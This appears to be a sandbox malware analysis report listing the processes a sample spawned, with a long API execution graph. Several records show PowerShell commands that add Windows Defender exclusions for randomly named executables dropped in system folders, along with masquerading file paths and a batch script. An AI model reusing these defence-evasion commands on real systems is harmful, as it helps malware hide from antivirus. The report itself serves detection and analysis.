                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:62
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe'
                                                                                            Imagebase:0x7ff6e3d50000
                                                                                            File size:452'608 bytes
                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:63
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:64
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:65
                                                                                            Start time:07:20:34
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:67
                                                                                            Start time:07:20:36
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
                                                                                            Imagebase:0x910000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:68
                                                                                            Start time:07:20:35
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\9w1FkSj5b9.bat"
                                                                                            Imagebase:0x7ff75b270000
                                                                                            File size:289'792 bytes
                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:69
                                                                                            Start time:07:20:35
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff66e660000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:70
                                                                                            Start time:07:20:38
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            Imagebase:0xbe0000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Antivirus matches:
                                                                                            • Detection: 58%, ReversingLabs
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:71
                                                                                            Start time:07:20:40
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            Imagebase:0x980000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:72
                                                                                            Start time:07:20:39
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\chcp.com
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:chcp 65001
                                                                                            Imagebase:0x7ff768330000
                                                                                            File size:14'848 bytes
                                                                                            MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:73
                                                                                            Start time:07:20:40
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\PING.EXE
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:ping -n 10 localhost
                                                                                            Imagebase:0x7ff61cc70000
                                                                                            File size:22'528 bytes
                                                                                            MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:74
                                                                                            Start time:07:20:50
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                            Imagebase:0x7ff717f30000
                                                                                            File size:496'640 bytes
                                                                                            MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:false
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:75
                                                                                            Start time:07:20:53
                                                                                            Start date:13/01/2025
                                                                                            Path:C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe"
                                                                                            Imagebase:0xa60000
                                                                                            File size:150'484'992 bytes
                                                                                            MD5 hash:E18151C31580AA91CEB01099DE4277B2
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Antivirus matches:
                                                                                            • Detection: 58%, ReversingLabs
                                                                                            Has exited:true

                                                                                            Disassembly

                                                                                            Reset < >

                                                                                              Execution Graph

                                                                                              Execution Coverage:9.6%
                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                              Signature Coverage:10.4%
                                                                                              Total number of Nodes:1487
                                                                                              Total number of Limit Nodes:44
                                                                                              execution_graph 25405 f195f0 80 API calls 25430 f15ef0 82 API calls 23468 f398f0 23476 f3adaf 23468->23476 23472 f3990c 23473 f39919 23472->23473 23484 f39920 11 API calls 23472->23484 23475 f39904 23485 f3ac98 23476->23485 23479 f3adee TlsAlloc 23480 f3addf 23479->23480 23492 f2fbbc 23480->23492 23482 f398fa 23482->23475 23483 f39869 20 API calls _free 23482->23483 23483->23472 23484->23475 23486 f3acc8 23485->23486 23490 f3acc4 23485->23490 23486->23479 23486->23480 23487 f3ace8 23487->23486 23489 f3acf4 GetProcAddress 23487->23489 23491 f3ad04 _free 23489->23491 23490->23486 23490->23487 23499 f3ad34 23490->23499 23491->23486 23493 f2fbc4 23492->23493 23494 f2fbc5 IsProcessorFeaturePresent 23492->23494 23493->23482 23496 f2fc07 23494->23496 23506 f2fbca SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 23496->23506 23498 f2fcea 23498->23482 23500 f3ad55 LoadLibraryExW 23499->23500 23501 f3ad4a 23499->23501 23502 f3ad72 GetLastError 23500->23502 23503 f3ad8a 23500->23503 23501->23490 23502->23503 23504 f3ad7d LoadLibraryExW 23502->23504 23503->23501 23505 f3ada1 FreeLibrary 23503->23505 23504->23503 23505->23501 23506->23498 23507 f3abf0 23508 f3abfb 23507->23508 23510 f3ac24 23508->23510 23511 f3ac20 23508->23511 23513 f3af0a 23508->23513 23520 f3ac50 DeleteCriticalSection 23510->23520 23514 f3ac98 _free 5 API calls 23513->23514 23515 f3af31 23514->23515 23516 f3af4f InitializeCriticalSectionAndSpinCount 23515->23516 23517 f3af3a 23515->23517 23516->23517 23518 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 23517->23518 23519 f3af66 23518->23519 23519->23508 23520->23511 25370 f388f0 7 API calls ___scrt_uninitialize_crt 25407 f2fd4f 9 API calls 2 library calls 25372 f32cfb 38 API calls 4 library calls 23560 f113e1 84 API calls 2 library calls 23561 f2b7e0 23562 f2b7ea __EH_prolog 23561->23562 23729 f11316 23562->23729 23565 f2b82a 23567 f2b841 23565->23567 23569 f2b89b 23565->23569 23570 f2b838 23565->23570 23566 f2bf0f 23808 f2d69e 23566->23808 23572 f2b92e GetDlgItemTextW 23569->23572 23578 f2b8b1 23569->23578 23573 f2b83c 23570->23573 23577 f2b878 23570->23577 23576 f2b96b 23572->23576 23572->23577 23573->23567 23586 f1e617 53 API calls 23573->23586 23574 f2bf2a SendMessageW 23575 f2bf38 23574->23575 23579 f2bf52 GetDlgItem SendMessageW 23575->23579 23580 f2bf41 SendDlgItemMessageW 23575->23580 23583 f2b980 GetDlgItem 23576->23583 23584 f2b974 23576->23584 23577->23567 23582 f2b95f EndDialog 23577->23582 23585 f1e617 53 API calls 23578->23585 23826 f2a64d GetCurrentDirectoryW 23579->23826 23580->23579 23582->23567 23588 f2b9b7 SetFocus 23583->23588 23589 f2b994 SendMessageW SendMessageW 23583->23589 23584->23577 23597 f2be55 23584->23597 23590 f2b8ce SetDlgItemTextW 23585->23590 23591 f2b85b 23586->23591 23587 f2bf82 GetDlgItem 23592 f2bfa5 SetWindowTextW 23587->23592 23593 f2bf9f 23587->23593 23594 f2b9c7 23588->23594 23604 f2b9e0 23588->23604 23589->23588 23595 f2b8d9 23590->23595 23848 f1124f SHGetMalloc 23591->23848 23827 f2abab GetClassNameW 23592->23827 23593->23592 23599 f1e617 53 API calls 23594->23599 23595->23567 23602 f2b8e6 GetMessageW 23595->23602 23600 f1e617 53 API calls 23597->23600 23603 f2b9d1 23599->23603 23606 f2be65 SetDlgItemTextW 23600->23606 23602->23567 23608 f2b8fd IsDialogMessageW 23602->23608 23849 f2d4d4 23603->23849 23613 f1e617 53 API calls 23604->23613 23605 f2c1fc SetDlgItemTextW 23605->23567 23610 f2be79 23606->23610 23608->23595 23612 f2b90c TranslateMessage DispatchMessageW 23608->23612 23615 f1e617 53 API calls 23610->23615 23612->23595 23614 f2ba17 23613->23614 23617 f14092 _swprintf 51 API calls 23614->23617 23651 f2be9c _wcslen 23615->23651 23616 f2bff0 23620 f2c020 23616->23620 23623 f1e617 53 API calls 23616->23623 23622 f2ba29 23617->23622 23618 f2c73f 97 API calls 23618->23616 23619 f2b9d9 23739 f1a0b1 23619->23739 23625 f2c73f 97 API calls 23620->23625 23683 f2c0d8 23620->23683 23627 f2d4d4 16 API calls 23622->23627 23628 f2c003 SetDlgItemTextW 23623->23628 23633 f2c03b 23625->23633 23626 f2c18b 23634 f2c194 EnableWindow 23626->23634 23635 f2c19d 23626->23635 23627->23619 23631 f1e617 53 API calls 23628->23631 23629 f2ba73 23745 f2ac04 SetCurrentDirectoryW 23629->23745 23630 f2ba68 GetLastError 23630->23629 23637 f2c017 SetDlgItemTextW 23631->23637 23644 f2c04d 23633->23644 23668 f2c072 23633->23668 23634->23635 23640 f2c1ba 23635->23640 23867 f112d3 GetDlgItem EnableWindow 23635->23867 23636 f2beed 23639 f1e617 53 API calls 23636->23639 23637->23620 23638 f2ba87 23642 f2ba90 GetLastError 23638->23642 23643 f2ba9e 23638->23643 23639->23567 23641 f2c1e1 23640->23641 23653 f2c1d9 SendMessageW 23640->23653 23641->23567 23654 f1e617 53 API calls 23641->23654 23642->23643 23648 f2bb11 23643->23648 23655 f2bb20 23643->23655 23656 f2baae GetTickCount 23643->23656 23865 f29ed5 32 API calls 23644->23865 23645 f2c0cb 23647 f2c73f 97 API calls 23645->23647 23647->23683 23648->23655 23658 f2bd56 23648->23658 23650 f2c1b0 23868 f112d3 GetDlgItem EnableWindow 23650->23868 23651->23636 23657 f1e617 53 API calls 23651->23657 23653->23641 23661 f2b862 23654->23661 23665 f2bcfb 23655->23665 23666 f2bcf1 23655->23666 23667 f2bb39 GetModuleFileNameW 23655->23667 23746 f14092 23656->23746 23663 f2bed0 23657->23663 23764 f112f1 GetDlgItem ShowWindow 23658->23764 23659 f2c066 23659->23668 23661->23567 23661->23605 23671 f14092 _swprintf 51 API calls 23663->23671 23664 f2c169 23866 f29ed5 32 API calls 23664->23866 23674 f1e617 53 API calls 23665->23674 23666->23577 23666->23665 23859 f1f28c 82 API calls 23667->23859 23668->23645 23675 f2c73f 97 API calls 23668->23675 23669 f2bd66 23765 f112f1 GetDlgItem ShowWindow 23669->23765 23670 f2bac7 23749 f1966e 23670->23749 23671->23636 23680 f2bd05 23674->23680 23681 f2c0a0 23675->23681 23677 f1e617 53 API calls 23677->23683 23678 f2c188 23678->23626 23679 f2bb5f 23684 f14092 _swprintf 51 API calls 23679->23684 23685 f14092 _swprintf 51 API calls 23680->23685 23681->23645 23686 f2c0a9 DialogBoxParamW 23681->23686 23682 f2bd70 23766 f1e617 23682->23766 23683->23626 23683->23664 23683->23677 23689 f2bb81 CreateFileMappingW 23684->23689 23690 f2bd23 23685->23690 23686->23577 23686->23645 23693 f2bbe3 GetCommandLineW 23689->23693 23722 f2bc60 __InternalCxxFrameHandler 23689->23722 23700 f1e617 53 API calls 23690->23700 23692 f2baed 23696 f2baff 23692->23696 23697 f2baf4 GetLastError 23692->23697 23698 f2bbf4 23693->23698 23694 f2bc6b ShellExecuteExW 23720 f2bc88 23694->23720 23757 f1959a 23696->23757 23697->23696 23860 f2b425 SHGetMalloc 23698->23860 23704 f2bd3d 23700->23704 23701 f2bd8c SetDlgItemTextW GetDlgItem 23705 f2bdc1 23701->23705 23706 f2bda9 GetWindowLongW SetWindowLongW 23701->23706 23703 f2bc10 23861 f2b425 SHGetMalloc 23703->23861 23771 f2c73f 23705->23771 23706->23705 23709 f2bc1c 23862 f2b425 SHGetMalloc 23709->23862 23712 f2bccb 23712->23666 23718 f2bce1 UnmapViewOfFile CloseHandle 23712->23718 23713 f2c73f 97 API calls 23715 f2bddd 23713->23715 23714 f2bc28 23863 f1f3fa 82 API calls 2 library calls 23714->23863 23796 f2da52 23715->23796 23718->23666 23719 f2bc3f MapViewOfFile 23719->23722 23720->23712 23723 f2bcb7 Sleep 23720->23723 23722->23694 23723->23712 23723->23720 23724 f2c73f 97 API calls 23727 f2be03 23724->23727 23725 f2be2c 23864 f112d3 GetDlgItem EnableWindow 23725->23864 23727->23725 23728 f2c73f 97 API calls 23727->23728 23728->23725 23730 f11378 23729->23730 23731 f1131f 23729->23731 23870 f1e2c1 GetWindowLongW SetWindowLongW 23730->23870 23733 f11385 23731->23733 23869 f1e2e8 62 API calls 2 library calls 23731->23869 23733->23565 23733->23566 23733->23567 23735 f11341 23735->23733 23736 f11354 GetDlgItem 23735->23736 23736->23733 23737 f11364 23736->23737 23737->23733 23738 f1136a SetWindowTextW 23737->23738 23738->23733 23740 f1a0bb 23739->23740 23741 f1a14c 23740->23741 23743 f1a175 23740->23743 23871 f1a2b2 23740->23871 23742 f1a2b2 8 API calls 23741->23742 23741->23743 23742->23743 23743->23629 23743->23630 23745->23638 23909 f14065 23746->23909 23750 f19678 23749->23750 23751 f196d5 CreateFileW 23750->23751 23752 f196c9 23750->23752 23751->23752 23753 f1971f 23752->23753 23754 f1bb03 GetCurrentDirectoryW 23752->23754 23753->23692 23755 f19704 23754->23755 23755->23753 23756 f19708 CreateFileW 23755->23756 23756->23753 23758 f195cf 23757->23758 23759 f195be 23757->23759 23758->23648 23759->23758 23760 f195d1 23759->23760 23761 f195ca 23759->23761 23986 f19620 23760->23986 23981 f1974e 23761->23981 23764->23669 23765->23682 23767 f1e627 23766->23767 24001 f1e648 23767->24001 23770 f112f1 GetDlgItem ShowWindow 23770->23701 23772 f2c749 __EH_prolog 23771->23772 23773 f2bdcf 23772->23773 24024 f2b314 23772->24024 23773->23713 23775 f2c780 _wcslen _wcsrchr 23775->23773 23777 f2b314 ExpandEnvironmentStringsW 23775->23777 23778 f2ca67 SetWindowTextW 23775->23778 23783 f2c855 SetFileAttributesW 23775->23783 23788 f2cc31 GetDlgItem SetWindowTextW SendMessageW 23775->23788 23791 f2cc71 SendMessageW 23775->23791 24028 f21fbb CompareStringW 23775->24028 24029 f2a64d GetCurrentDirectoryW 23775->24029 24031 f1a5d1 6 API calls 23775->24031 24032 f1a55a FindClose 23775->24032 24033 f2b48e 76 API calls 2 library calls 23775->24033 24034 f33e3e 23775->24034 23777->23775 23778->23775 23784 f2c90f GetFileAttributesW 23783->23784 23795 f2c86f _abort _wcslen 23783->23795 23784->23775 23787 f2c921 DeleteFileW 23784->23787 23787->23775 23789 f2c932 23787->23789 23788->23775 23790 f14092 _swprintf 51 API calls 23789->23790 23792 f2c952 GetFileAttributesW 23790->23792 23791->23775 23792->23789 23793 f2c967 MoveFileW 23792->23793 23793->23775 23794 f2c97f MoveFileExW 23793->23794 23794->23775 23795->23775 23795->23784 24030 f1b991 51 API calls 2 library calls 23795->24030 23797 f2da5c __EH_prolog 23796->23797 24058 f20659 23797->24058 23799 f2da8d 24062 f15b3d 23799->24062 23801 f2daab 24066 f17b0d 23801->24066 23805 f2dafe 24082 f17b9e 23805->24082 23807 f2bdee 23807->23724 23809 f2d6a8 23808->23809 24588 f2a5c6 23809->24588 23812 f2d6b5 GetWindow 23813 f2bf15 23812->23813 23816 f2d6d5 23812->23816 23813->23574 23813->23575 23814 f2d6e2 GetClassNameW 24593 f21fbb CompareStringW 23814->24593 23816->23813 23816->23814 23817 f2d706 GetWindowLongW 23816->23817 23818 f2d76a GetWindow 23816->23818 23817->23818 23819 f2d716 SendMessageW 23817->23819 23818->23813 23818->23816 23819->23818 23820 f2d72c GetObjectW 23819->23820 24594 f2a605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23820->24594 23822 f2d743 24595 f2a5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23822->24595 24596 f2a80c 8 API calls 23822->24596 23825 f2d754 SendMessageW DeleteObject 23825->23818 23826->23587 23828 f2abf1 23827->23828 23829 f2abcc 23827->23829 23830 f2abf6 SHAutoComplete 23828->23830 23831 f2abff 23828->23831 24599 f21fbb CompareStringW 23829->24599 23830->23831 23835 f2b093 23831->23835 23833 f2abdf 23833->23828 23834 f2abe3 FindWindowExW 23833->23834 23834->23828 23836 f2b09d __EH_prolog 23835->23836 23837 f113dc 84 API calls 23836->23837 23838 f2b0bf 23837->23838 24600 f11fdc 23838->24600 23841 f2b0eb 23844 f119af 128 API calls 23841->23844 23842 f2b0d9 23843 f11692 86 API calls 23842->23843 23845 f2b0e4 23843->23845 23846 f2b10d __InternalCxxFrameHandler ___std_exception_copy 23844->23846 23845->23616 23845->23618 23847 f11692 86 API calls 23846->23847 23847->23845 23848->23661 24608 f2b568 PeekMessageW 23849->24608 23852 f2d536 SendMessageW SendMessageW 23854 f2d572 23852->23854 23855 f2d591 SendMessageW SendMessageW SendMessageW 23852->23855 23853 f2d502 23856 f2d50d ShowWindow SendMessageW SendMessageW 23853->23856 23854->23855 23857 f2d5e7 SendMessageW 23855->23857 23858 f2d5c4 SendMessageW 23855->23858 23856->23852 23857->23619 23858->23857 23859->23679 23860->23703 23861->23709 23862->23714 23863->23719 23864->23584 23865->23659 23866->23678 23867->23650 23868->23640 23869->23735 23870->23733 23872 f1a2bf 23871->23872 23873 f1a2e3 23872->23873 23875 f1a2d6 CreateDirectoryW 23872->23875 23892 f1a231 23873->23892 23875->23873 23877 f1a316 23875->23877 23879 f1a325 23877->23879 23884 f1a4ed 23877->23884 23878 f1a329 GetLastError 23878->23879 23879->23740 23882 f1a2ff 23882->23878 23883 f1a303 CreateDirectoryW 23882->23883 23883->23877 23883->23878 23899 f2ec50 23884->23899 23887 f1a510 23889 f1bb03 GetCurrentDirectoryW 23887->23889 23888 f1a53d 23888->23879 23890 f1a524 23889->23890 23890->23888 23891 f1a528 SetFileAttributesW 23890->23891 23891->23888 23901 f1a243 23892->23901 23895 f1bb03 23896 f1bb10 _wcslen 23895->23896 23897 f1bbb8 GetCurrentDirectoryW 23896->23897 23898 f1bb39 _wcslen 23896->23898 23897->23898 23898->23882 23900 f1a4fa SetFileAttributesW 23899->23900 23900->23887 23900->23888 23902 f2ec50 23901->23902 23903 f1a250 GetFileAttributesW 23902->23903 23904 f1a261 23903->23904 23905 f1a23a 23903->23905 23906 f1bb03 GetCurrentDirectoryW 23904->23906 23905->23878 23905->23895 23907 f1a275 23906->23907 23907->23905 23908 f1a279 GetFileAttributesW 23907->23908 23908->23905 23910 f1407c __vsnwprintf_l 23909->23910 23913 f35fd4 23910->23913 23916 f34097 23913->23916 23917 f340d7 23916->23917 23918 f340bf 23916->23918 23917->23918 23920 f340df 23917->23920 23933 f391a8 20 API calls _free 23918->23933 23935 f34636 23920->23935 23921 f340c4 23934 f39087 26 API calls __cftof 23921->23934 23925 f340cf 23927 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 23925->23927 23929 f14086 23927->23929 23928 f34167 23944 f349e6 51 API calls 3 library calls 23928->23944 23929->23670 23932 f34172 23945 f346b9 20 API calls _free 23932->23945 23933->23921 23934->23925 23936 f34653 23935->23936 23937 f340ef 23935->23937 23936->23937 23946 f397e5 GetLastError 23936->23946 23943 f34601 20 API calls 2 library calls 23937->23943 23939 f34674 23967 f3993a 38 API calls __cftof 23939->23967 23941 f3468d 23968 f39967 38 API calls __cftof 23941->23968 23943->23928 23944->23932 23945->23925 23947 f39807 23946->23947 23948 f397fb 23946->23948 23970 f3b136 20 API calls _free 23947->23970 23969 f3ae5b 11 API calls 2 library calls 23948->23969 23951 f39801 23951->23947 23953 f39850 SetLastError 23951->23953 23952 f39813 23954 f3981b 23952->23954 23977 f3aeb1 11 API calls 2 library calls 23952->23977 23953->23939 23971 f38dcc 23954->23971 23957 f39830 23957->23954 23959 f39837 23957->23959 23958 f39821 23961 f3985c SetLastError 23958->23961 23978 f39649 20 API calls _free 23959->23978 23979 f38d24 38 API calls _abort 23961->23979 23962 f39842 23964 f38dcc _free 20 API calls 23962->23964 23966 f39849 23964->23966 23966->23953 23966->23961 23967->23941 23968->23937 23969->23951 23970->23952 23972 f38dd7 RtlFreeHeap 23971->23972 23976 f38e00 _free 23971->23976 23973 f38dec 23972->23973 23972->23976 23980 f391a8 20 API calls _free 23973->23980 23975 f38df2 GetLastError 23975->23976 23976->23958 23977->23957 23978->23962 23980->23975 23982 f19781 23981->23982 23983 f19757 23981->23983 23982->23758 23983->23982 23992 f1a1e0 23983->23992 23987 f1962c 23986->23987 23988 f1964a 23986->23988 23987->23988 23990 f19638 CloseHandle 23987->23990 23989 f19669 23988->23989 24000 f16bd5 76 API calls 23988->24000 23989->23758 23990->23988 23993 f2ec50 23992->23993 23994 f1a1ed DeleteFileW 23993->23994 23995 f1a200 23994->23995 23996 f1977f 23994->23996 23997 f1bb03 GetCurrentDirectoryW 23995->23997 23996->23758 23998 f1a214 23997->23998 23998->23996 23999 f1a218 DeleteFileW 23998->23999 23999->23996 24000->23989 24007 f1d9b0 24001->24007 24004 f1e645 SetDlgItemTextW 24004->23770 24005 f1e66b LoadStringW 24005->24004 24006 f1e682 LoadStringW 24005->24006 24006->24004 24012 f1d8ec 24007->24012 24009 f1d9cd 24011 f1d9e2 24009->24011 24020 f1d9f0 26 API calls 24009->24020 24011->24004 24011->24005 24013 f1d904 24012->24013 24019 f1d984 _strncpy 24012->24019 24015 f1d928 24013->24015 24021 f21da7 WideCharToMultiByte 24013->24021 24018 f1d959 24015->24018 24022 f1e5b1 50 API calls __vsnprintf 24015->24022 24023 f36159 26 API calls 3 library calls 24018->24023 24019->24009 24020->24011 24021->24015 24022->24018 24023->24019 24025 f2b31e 24024->24025 24026 f2b40d 24025->24026 24027 f2b3f0 ExpandEnvironmentStringsW 24025->24027 24026->23775 24027->24026 24028->23775 24029->23775 24030->23795 24031->23775 24032->23775 24033->23775 24035 f38e54 24034->24035 24036 f38e61 24035->24036 24037 f38e6c 24035->24037 24047 f38e06 24036->24047 24038 f38e74 24037->24038 24039 f38e7d _free 24037->24039 24041 f38dcc _free 20 API calls 24038->24041 24042 f38e82 24039->24042 24043 f38ea7 HeapReAlloc 24039->24043 24055 f37a5e 7 API calls 2 library calls 24039->24055 24044 f38e69 24041->24044 24054 f391a8 20 API calls _free 24042->24054 24043->24039 24043->24044 24044->23775 24048 f38e44 24047->24048 24052 f38e14 _free 24047->24052 24057 f391a8 20 API calls _free 24048->24057 24050 f38e2f RtlAllocateHeap 24051 f38e42 24050->24051 24050->24052 24051->24044 24052->24048 24052->24050 24056 f37a5e 7 API calls 2 library calls 24052->24056 24054->24044 24055->24039 24056->24052 24057->24051 24059 f20666 _wcslen 24058->24059 24086 f117e9 24059->24086 24061 f2067e 24061->23799 24063 f20659 _wcslen 24062->24063 24064 f117e9 78 API calls 24063->24064 24065 f2067e 24064->24065 24065->23801 24067 f17b17 __EH_prolog 24066->24067 24103 f1ce40 24067->24103 24069 f17b32 24109 f2eb38 24069->24109 24071 f17b5c 24118 f24a76 24071->24118 24074 f17c7d 24075 f17c87 24074->24075 24077 f17cf1 24075->24077 24150 f1a56d 24075->24150 24080 f17d50 24077->24080 24128 f18284 24077->24128 24078 f17d92 24078->23805 24080->24078 24156 f1138b 74 API calls 24080->24156 24083 f17bac 24082->24083 24085 f17bb3 24082->24085 24084 f22297 86 API calls 24083->24084 24084->24085 24087 f117ff 24086->24087 24098 f1185a __InternalCxxFrameHandler 24086->24098 24088 f11828 24087->24088 24099 f16c36 76 API calls __vswprintf_c_l 24087->24099 24090 f11887 24088->24090 24095 f11847 ___std_exception_copy 24088->24095 24092 f33e3e 22 API calls 24090->24092 24091 f1181e 24100 f16ca7 75 API calls 24091->24100 24094 f1188e 24092->24094 24094->24098 24102 f16ca7 75 API calls 24094->24102 24095->24098 24101 f16ca7 75 API calls 24095->24101 24098->24061 24099->24091 24100->24088 24101->24098 24102->24098 24104 f1ce4a __EH_prolog 24103->24104 24105 f2eb38 8 API calls 24104->24105 24107 f1ce8d 24105->24107 24106 f2eb38 8 API calls 24108 f1ceb1 24106->24108 24107->24106 24108->24069 24111 f2eb3d ___std_exception_copy 24109->24111 24110 f2eb57 24110->24071 24111->24110 24114 f2eb59 24111->24114 24124 f37a5e 7 API calls 2 library calls 24111->24124 24113 f2f5c9 24126 f3238d RaiseException 24113->24126 24114->24113 24125 f3238d RaiseException 24114->24125 24117 f2f5e6 24119 f24a80 __EH_prolog 24118->24119 24120 f2eb38 8 API calls 24119->24120 24122 f24a9c 24120->24122 24121 f17b8b 24121->24074 24122->24121 24127 f20e46 80 API calls 24122->24127 24124->24111 24125->24113 24126->24117 24127->24121 24129 f1828e __EH_prolog 24128->24129 24157 f113dc 24129->24157 24131 f182aa 24132 f182bb 24131->24132 24300 f19f42 24131->24300 24135 f182f2 24132->24135 24165 f11a04 24132->24165 24296 f11692 24135->24296 24138 f182ee 24138->24135 24146 f1a56d 7 API calls 24138->24146 24149 f18389 24138->24149 24304 f1c0c5 CompareStringW _wcslen 24138->24304 24141 f183e8 24192 f11f6d 24141->24192 24145 f183f3 24145->24135 24196 f13b2d 24145->24196 24208 f1848e 24145->24208 24146->24138 24184 f18430 24149->24184 24151 f1a582 24150->24151 24152 f1a5b0 24151->24152 24577 f1a69b 